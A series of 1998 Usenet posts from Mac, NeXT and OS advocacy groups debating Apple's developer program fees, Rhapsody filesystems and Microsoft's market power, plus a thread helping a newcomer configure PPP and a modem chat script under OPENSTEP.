Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: NT causes $10M loss [Was Uptime Discussion]
Date: 13 Apr 1998 16:54:41 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6gu8k1$2hh$1@halcyon.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <352101F2.4AF7@be1151.pd3.ford.com> <slrn6i2hgb.a5o.sal@panix3.panix.com> <352811A3.247055FE@baldcom.net>
William Eckert <weckert@nojunk_baldcom.net> wrote:
>> Petty name calling aside, MS makes a lot of source code availible. More so
>> than some Unix vendors.
>
>Yes that is true, but if I pay HP, Solaris and <insert more OS names here>
>they will allow me to look at thier source code. But good ol pal of my MS
>would never...oh shit I did not send in my Non-Disclosure statement with a
(1) Your news posting software is broken. I fixed your line wrapping for
you.
(2) You can buy an NT source license from Microsoft.
--Tim Smith
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Mon, 13 Apr 1998 20:27:07 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982027070001@132.236.171.104>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
In article <B157BF25-96EA9@207.217.155.51>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> Looks to me like a case where Europe kicked our butts. ;-)
So what's the timetable for COS to be released? ;-)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:30:21 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982030210001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104> <6gqlb4$oop$26@ironhorse.plsys.co.uk>
In article <6gqlb4$oop$26@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> So what's been stopping you getting hold of the academic version of OPENSTEP
> 4.2 ($299)? Note also that Apple has just announced WebObjects Academic for
> **$99* -- that gives you pretty much all the YellowBox API...
Does OPENSTEP run on the PowerPC? Or would I have to buy a new computer
to use this as an avenue for learning Rhapsody?
Oh darn. I don't have an x86. Looks like I'm out of luck.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:36:32 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982036320001@132.236.171.104>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>
In article <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> Heck, you can't even use a Mac to host a news server; the filesystem has too
> many limitations and wastes too much space due to internal fragmentation.
I guess that's why MacWorld reviewed four news servers in its last issue?
Admittedly only one of them is up to heavy duty performance.
But I'm curious about your filesystem concerns. To the best of my
knowledge news servers on other platforms have their own database files
for storing articles and don't store each article in a separate file.
There's no problem with MacOS for keeping big database files around.
I'm not arguing that MacOS is a good platform to use for a news server.
But it's probably not as bad as you think.
And if the Mac filesystem is so bad, Rhapsody is going to suck for these
purposes too, because isn't HFS+ supposed to be the default filesystem for
the first "consumer" release?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:32:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982032150001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr> <6glqd2$7j4$4@anvil.BLaCKSMITH.com>
In article <6glqd2$7j4$4@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> xhsoft@injep.fr (Xavier Humbert) wrote:
> > Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> >> the increase in costs represents roughly a day's pay
> >
> > That's not the point. 100% is 100%.
>
> Cans of soda used to cost 25 cents; they now cost 50 (or $1.00 or more on the
> highway). That's a 100% increase, also. People who are thirsty deal with
> it-- many of them don't even notice.
I notice it. My local grocery store had 2-liter bottles of their generic
root beer for fifty cents a couple months ago. I refuses to pay $1.00 for
a can of soda when I can get so much more for so much less. As for what
happens when I'm thirsty, where there's a soda machine, there's almost
always a water fountain.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 20:46:17 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982046170001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <ericb-0904981701440001@132.236.171.104> <rmcassid-1004981239150001@dante.eng.uci.edu>
Trimmed to .advocacy groups.
In article <rmcassid-1004981239150001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> But this is exactly where your argument falls apart because you probably
> don't have to pay *anything* if you work for a univeristy.
I was never aware of a way to get OS prereleases for free through Penn
State. MacOS itself was availabe at a steep discount on CDs burned by the
campus computer store. I paid $26 for the MacOS 7.6 CD.
MacOS is free for download at Cornell. But there aren't any OS betas
available, at least not that I'm aware of.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 21:36:06 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982136060001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu>
In article <6gjcv7$nrb@mozo.cc.purdue.edu>, slick@tools.ecn.purdue.edu
(Brian S Slick) wrote:
> In article <ericb-0904981649370001@132.236.171.104>,
> Eric Bennett <ericb@pobox.com> wrote:
> >The new cost is two weeks' pay (after withholding :-) out of my stipend. :-(
>
>
> Consider it an investment.
It's a hobby. Apple just made my hobby more expensive. If I'm *lucky*,
it will shortly be related to my research project, and then perhaps
somebody else will pick up the tab for me.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM>
In-Reply-To: <35326121.287@CONVEX.COM>
From: not@my.address.net
Message-ID: <sczY.1017$ME2.5365651@news.itd.umich.edu>
Date: Tue, 14 Apr 1998 01:44:56 GMT
NNTP-Posting-Date: Mon, 13 Apr 1998 21:44:56 EST
On 04/13/98, Michael Peck wrote:
>
>The truth of the matter is that technology is the great leveler. The
>market rewards companies which can provide desirable services at the
>lowest cost and with the most appealing delivery.
A private market would reward the water company which can reliably provide
the cleanest water at the cheapest price. I never suggested otherwise.
But now suppose it's always the case that a larger water company can
provide the same service at a lower price than a smaller water company.
What can we predict about the relative size and number of water companies
in that marketplace?
Usually the per unit cost of production in a market diminishes as a firm
grows in size. It costs less to produce two cars than to produce one,
because to produce one you have to buy a lot of machinery and tools and you
don't have to go out an buy two of every tool just to produce a second car.
So, within some range -- say zero to two, at least :), a larger car company
can produce a car more efficiently than a smaller one.
What's special about some markets/industries is that the range over which
size gives you a competitive advantage exceeds the size of the market
itself. Public utilities are a textbook example. But I think software
might actually be a more compelling case. Once you've hired the people and
written the code, the cost of pressing an extra CD isn't a big deal.
In any event, provided that you do have an industry where marginal costs
diminish even as the size of the firm approaches the size of the market, an
unregulated private market will predictably spawn a so called "natural"
monopoly. I would have liked to have known what a Libertarian like Eric
makes of that prospect.
The rest of your note is on a different topic -- the extent and
significance of third party costs/benefits in a market for public goods.
The two are unrelated because markets that give rise to natural monopolies
need not be markets for public goods and need not involve transactions with
significant third party costs/benefits; and transactions involving
significant third party costs/benefits need not occur either in a market
for public goods or in a market that gives rise to a natural monopoly.
--
invert: umich.edu jdevlin
insert: shift "2"
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 21:44:32 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1304982144320001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net>
In article <joe.ragosta-0904980134360001@wil68.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> And in case you've missed it, it is now possible for hobbyists to get
> SDK's free. How much cheaper do they need to be?
I asked a question about HFS+ a month or two ago, and in response I was
directed to the Filesystem Manager SDK. I went to Apple's web page and
downloaded it. You could have done the same. This was *before* the
recent changes.
The SDKs were free to begin with. You're falling for the Apple Spin that
they've somehow "expanding" their programs. They haven't added anything
new, they've just given it a fancy name.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: tom_e@usa.net (Thomas Engelmeier)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 12:13:11 +0200
Organization: University of Rostock
Message-ID: <1d78dx8.1olb8yi6si1r4N@desktop.tom-e.private>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> If you're a real hobbyist, do you *need* access to the bleeding edge s/w?
> If not, then you don't need to belong to the program, so it won't cost you
> anything.
I do Apple development as a "hobbyist" (not too many Mac programming
jobs @ Munich at the moment), and especially for this I need access to
the latest stuff. Unlike when programming for profit I need to consider
the latest, "in progress" SDKs for this or that small project that I
wouldn't have the time to implement otherwise. The big companies wont
bother to reinvent the wheel, I simply neither have the manpower nor the
time. And yes, programming Multimedia and grafics is sometimes quite
complex.
> (I didn't have the legs to play Doris); incidental expenses including travel
> to and from rehearsals are likely to cost as much as subscription to the
> Select program for the next two months. Maybe I should send in my petrol
> receipts to Apple...?
A comparison of the cost of hobbies is completely off the point. Just
because I go scuba diving every week it is not reasonable to bill you
for Inline-Skating $120 / weekend.
> more? No. Does this mean that I think Apple's taking a sensible business
> attitude to concentrating its resources where they matter? Yes.
For the last two years, they didn't provide too much resources. Or maybe
someone has better experiences?
> I also hope that the additional fees will go toward giving a better service
> to those who choose to stay in one of the developer programs.
And I guess you belive in the Easter bunny and Santa claus. IMO it is a
better bussiness practice first to establish a better service and then
charge for it accordingly.
Regards,
TomE
--
3 KINDS OF PEOPLE: THOSE WHO CAN COUNT AND THOSE WHO CAN'T.
From: mingo@NOSPAM.panix.com (Charlie Mingo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 22:04:46 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <mingo-1304982204460001@port5.dial2.gain-ny.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com> <ericb-1304982036320001@132.236.171.104>
Mail-Copies-To: always
In article <ericb-1304982036320001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> And if the Mac filesystem is so bad, Rhapsody is going to suck for these
> purposes too, because isn't HFS+ supposed to be the default filesystem for
> the first "consumer" release?
The developer release (DR1) of Rhapsody supported UFS (the Unix File
System) only. The first release of Rhapsody will support both UFS and
HFS+.
As for which of these two is the "default" version, I guess you'd have to
say "neither," as Apple (and just about all third-party vendors) still
ships all hard disks in plain HFS format. Rhapsody comes on a CD-ROM, and
you have to reformat your hard disk before installation.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: help with ppp/chat
Date: 14 Apr 1998 03:03:02 GMT
Message-ID: <01bd6751$95dc5a20$40f0bfa8@davidsul>
References: <01bd6730$b38a0520$23f0bfa8@davidsul> <3532DD8D.99FF9061@nstar.net>
Thanks, and I thought you were going to actually help :( :(
Michael Peck <mjpeck@nstar.net> wrote in article
<3532DD8D.99FF9061@nstar.net>...
> NeXT Newbie wrote:
> >
> > I need help with OPENSTEP 4.2 and ppp. First of all, I printed out the
ppp
> > docs, and the first thing it says to do is modify the kern_loader.conf,
> > reboot, and check messages to make sure that "PPP-2.2 LKS was
successfully
> > loaded". THeir is no such message (bellow is a repaste of the messages
> > file).
> >
> > I also need help with the chat file, I did a search in the finder and
their
> > is no chat file. Could someone please send me a chat file for ppp to
give
> > me some guidance? Also a ip-up and ip-down file would be helpful.
> >
> > Also, I need help with the next0 boot. it says to press d for dos, but
> > pressing d or w does nothing, the only way to get into windows is to
type
> > the number the windows partition is on.
>
> You need to add the line:
>
> "PPP/Chat /NeXTAdmin/Automatic/Easy-to-use/Advanced_User_System
> /dev/ttyS0 0 0"
>
> to the file /etc/Just_Works.
>
> That should take care of the problem.
From: "C.S." <caleb@diehlgraphsoft.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 22:30:27 -0400
Organization: @Home Network
Message-ID: <3532CA43.C2330614@diehlgraphsoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr> <6glqd2$7j4$4@anvil.BLaCKSMITH.com> <ericb-1304982032150001@132.236.171.104>
Mime-Version: 1.0
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To: Eric Bennett <ericb@pobox.com>
Eric Bennett wrote:
> I notice it. My local grocery store had 2-liter bottles of their generic
> root beer for fifty cents a couple months ago. I refuses to pay $1.00 for
> a can of soda when I can get so much more for so much less. As for what
> happens when I'm thirsty, where there's a soda machine, there's almost
> always a water fountain.
Oh Mary... Oh Dennis... Oh Rochester...
:-)
Caleb Strockbine
caleb@diehlgraphsoft.com
(I speak for myself.)
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: help with ppp/chat
Date: Mon, 13 Apr 1998 22:31:43 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3532E6AF.CE99CE17@nstar.net>
References: <01bd6730$b38a0520$23f0bfa8@davidsul> <3532DD8D.99FF9061@nstar.net> <01bd6751$95dc5a20$40f0bfa8@davidsul>
Mime-Version: 1.0
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NeXT Newbie wrote:
>
> Thanks, and I thought you were going to actually help :( :(
Ach! You shamed me into it.
First, you need to add the following entry to your /etc/rc.local file:
<entry>
#
# Load the PPP LKS
#
if [ -f /usr/local/ppp/reloc/ppp_reloc ]; then
/usr/etc/kl_util -a /usr/local/ppp/reloc/ppp_reloc
fi
</entry>
As the PPP FAQ says, this assumes that the LKS is in
/usr/local/ppp/relov/ppp_reloc.
That should get PPP support enabled. Also from the FAQ, use
/usr/etc/kl_util -s
to check and see if your PPP module has been loaded. This saves time
from having to reboot and check 'messages' for the appropriate entry.
What was your other problem? Oh, chat. This is a complex process, but I
find most PPP servers actually make it very simple. This is the chat
script I use for my ISP, for instance:
<chat file>
"" AT&FL1M1
OK ATDT9729608319
CONNECT ""
ogin: <login deleted>
ssword: <password deleted>
</chat file>
The first line expects nothing from the serial device, and thus sends
the "AT&FL1M1" command in any case. This init string resets to factory
defaults and sets low volume during connections.
The second line expects the Hayes-standard "OK" response, then sends the
dial string in return. In this case, you should replace "9729608319"
with your ISP's phone number.
The third line expects the Hayes-standard "CONNECT" response (by the
way, you should have verbose prompts enabled for this on your modem,
consult the manual) and in response sends a carriage return. Typically
this is necessary to get the login prompt with my ISP, and it can't hurt
in any case.
The fourth and fifth lines perform login, after which your ISP's server
should start throwing PPP frames. If you run kermit or some such
terminal emulation software, you will see these frames being thrown in
the form of period bursts of 20-or-so character strings, marked by heavy
use of left-hand curly braces. If you see these, you're on track.
You may want to prepend "ABORT ABORT BUSY ABORT" just for kicks,
although I never get a busy signal and thus never really need these.
I can't help with your booting problem, unfortunately, as I've never run
OpenStep on Intel hardware.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Mon, 13 Apr 1998 21:48:06 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3532DC76.86324080@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@convex.com> <6gtvvf$ph8@newsb.netnews.att.com>
Mime-Version: 1.0
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> About the "great leveler", technology, another point of view :
> "our myopic focus on the government as the sole source of regulation
> blinds us to more serious dangers. In the world of possible regulators,
> Lessig argues, "government is one, social norms are another,
> the market is another, but in cyberspace the code is another.
> The architecture of cyberspace is itself a regulator."
>
> http://www.feedmag.com/html/feedline/98.04marshall/98.04marshall_master.html
>
> This places the Microsoft issue in a very different perspective,
> and informs why it is not safe to rely on either the marketplace
> and/or technological advances.
As best I understand Lawrence Lessig's remarks, this is his way of
turning the "naive Internet libertarianism" (Feedline's words) against
itself with a lame attempt at blunting the benefits of free enterprise.
<Feedline quote>
'BY THE "ARCHITECTURE OF CYBERSPACE"
Lessig means the complex of hardware and software
technologies, protocols and identification systems that
collectively make up the Internet. When you think of
the architecture of the Internet as itself a potential
regulator, you begin to realize that rather than being
free of regulation, the Internet will be regulated by the
companies who write the code. Like Microsoft and
Netscape, for instance.'
</Feedline quote>
Ah, Lawrence, we hardly knew ye. If this is the sort of trash-economics
and cheap technological philosophy Lessig espouses, it's best that
Microsoft win its injunction against his appointment as Special Master
in the DoJ case. To argue that somehow, the fruits of work done by
market leaders is "regulation" of the same breed as governmental
litigation? Please, you can't be serious. This is really demeaning.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: help with ppp/chat
Date: Mon, 13 Apr 1998 21:52:45 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3532DD8D.99FF9061@nstar.net>
References: <01bd6730$b38a0520$23f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NeXT Newbie wrote:
>
> I need help with OPENSTEP 4.2 and ppp. First of all, I printed out the ppp
> docs, and the first thing it says to do is modify the kern_loader.conf,
> reboot, and check messages to make sure that "PPP-2.2 LKS was successfully
> loaded". THeir is no such message (bellow is a repaste of the messages
> file).
>
> I also need help with the chat file, I did a search in the finder and their
> is no chat file. Could someone please send me a chat file for ppp to give
> me some guidance? Also a ip-up and ip-down file would be helpful.
>
> Also, I need help with the next0 boot. it says to press d for dos, but
> pressing d or w does nothing, the only way to get into windows is to type
> the number the windows partition is on.
You need to add the line:
"PPP/Chat /NeXTAdmin/Automatic/Easy-to-use/Advanced_User_System
/dev/ttyS0 0 0"
to the file /etc/Just_Works.
That should take care of the problem.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Mon, 13 Apr 1998 21:40:20 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3532DAA4.895A8924@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu>
Mime-Version: 1.0
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not@my.address.net wrote:
>
> On 04/13/98, Michael Peck wrote:
> >
> >The truth of the matter is that technology is the great leveler. The
> >market rewards companies which can provide desirable services at the
> >lowest cost and with the most appealing delivery.
>
> A private market would reward the water company which can reliably provide
> the cleanest water at the cheapest price. I never suggested otherwise.
> But now suppose it's always the case that a larger water company can
> provide the same service at a lower price than a smaller water company.
> What can we predict about the relative size and number of water companies
> in that marketplace?
That supposition can describe nothing more than the shortest-term
realities in the marketplace. As I said before, technology makes this
sort of status quo impossible to maintain for an extended period of time
without the help of government regulation.
> Usually the per unit cost of production in a market diminishes as a firm
> grows in size. It costs less to produce two cars than to produce one,
> because to produce one you have to buy a lot of machinery and tools and you
> don't have to go out an buy two of every tool just to produce a second car.
> So, within some range -- say zero to two, at least :), a larger car company
> can produce a car more efficiently than a smaller one.
And yet small companies in the computing and telecommunications
industries have virtually proven that the economies of scale mean
nothing when the pace of technological growth is positive and nonzero.
The recent growth of Ciena (the most successful startup company to date)
in the past two years is an example of this.
> What's special about some markets/industries is that the range over which
> size gives you a competitive advantage exceeds the size of the market
> itself. Public utilities are a textbook example. But I think software
> might actually be a more compelling case. Once you've hired the people and
> written the code, the cost of pressing an extra CD isn't a big deal.
So what? This assumes that all products are created equal *and* that new
and unique products *aren't* created every day. This is obviously false.
If this is a roundabout allusion to Microsoft's "monopoly" (as I would
expect from the title of the thread), all of this argument is a
not-so-subtle way of saying that you've taken Microsoft as a proof case
for the existence of software monopolies. I say that's poor science, and
just plain untrue, to boot.
> In any event, provided that you do have an industry where marginal costs
> diminish even as the size of the firm approaches the size of the market, an
> unregulated private market will predictably spawn a so called "natural"
> monopoly. I would have liked to have known what a Libertarian like Eric
> makes of that prospect.
Well, Microsoft sells something like 2% of all computer software in its
market. I'm not sure whether anything like what you described has ever
existed in the software industry.
> The rest of your note is on a different topic -- the extent and
> significance of third party costs/benefits in a market for public goods.
> The two are unrelated because markets that give rise to natural monopolies
> need not be markets for public goods and need not involve transactions with
> significant third party costs/benefits; and transactions involving
> significant third party costs/benefits need not occur either in a market
> for public goods or in a market that gives rise to a natural monopoly.
I think this is an untrue argument on many levels. For one, you brought
up the "public goods" spectre when you mentioned water treatment and
supply. For another, I see at the base of your argument about the
software industry the fundamental complaint that "everyone needs
software" and thus that buying from a monopolistic competitor is almost
certain in that market. Thus, I think you're skirting the boundaries of
the "public goods" argument in any case.
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 03:32:48 GMT
Organization: Digital Fix Development
Message-ID: <6guld0$ei2$1@news.digifix.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com> <ericb-1304982036320001@132.236.171.104>
In-Reply-To: <ericb-1304982036320001@132.236.171.104>
On 04/13/98, Eric Bennett wrote:
>In article <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>,
cswiger@BLaCKSMITH.com wrote:
>
>> Heck, you can't even use a Mac to host a news server; the
filesystem has too
>> many limitations and wastes too much space due to internal
fragmentation.
>
>I guess that's why MacWorld reviewed four news servers in its last
issue?
>Admittedly only one of them is up to heavy duty performance.
>
>But I'm curious about your filesystem concerns. To the best of my
>knowledge news servers on other platforms have their own database
files
>for storing articles and don't store each article in a separate file.
Nope...
Most news servers keep the actual articles as individual
files, with a database of header information for handling expire,
message-id lookup etc..
CNews, INN...
>There's no problem with MacOS for keeping big database files around.
>
>I'm not arguing that MacOS is a good platform to use for a news
server.
>But it's probably not as bad as you think.
>
>And if the Mac filesystem is so bad, Rhapsody is going to suck for
these
>purposes too, because isn't HFS+ supposed to be the default
filesystem for
>the first "consumer" release?
>
You don't have to use HFS+.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 03:54:37 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gumlt$4m9$1@quasar.dimensional.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6e6aqh.h78.sal@panix3.panix.com> <6cl3kc$95b$1@quasar.dimensional.com> <slrn6eufov.fme.sal@panix3.panix.com> <6cvpdo$cmu$7@quasar.dimensional.com> <slrn6f7cgk.lhl.sal@panix3.panix.com> <34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6fn6au.cnk.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>> If there's ANY licensing going on, it's proprietary.
> Ken hath spoken.
> All Unix and Unix like OS products are now proprietary.
> He must not know the difference between proprietary specification and
> proprietary implementation
You need to take a reading comprehension course.
>>Open specification does not make something non-proprietary.
> This contradicts your next statement...
>>> You claim to know something about OPENSTEP and GNUstep -- it's an analogous
>>> situation: OPENSTEP is an open specification -- people are free to implement
>>> their own version without owing NeXT (Apple) a cent, and the excellent folk
>>> in the GNUstep project are doing just that...
>>Because fortunetly, NeXT has no way to prevent GNUstep.
> If OpenStep is proprietary, why can't Apple stop GNUstep?
OpenSTep!? OpenStep is nothing more than a standard, which isn't propreitary.
NextStep is propreitary, and GNUStep isn't at risk because it doesn't use
any NextStep code...
For most, this is simple to understand: the difference between propreitary
software and propreitary standards. And I've explaned this to you before, I
think.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 03:58:02 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gumsa$4m9$3@quasar.dimensional.com>
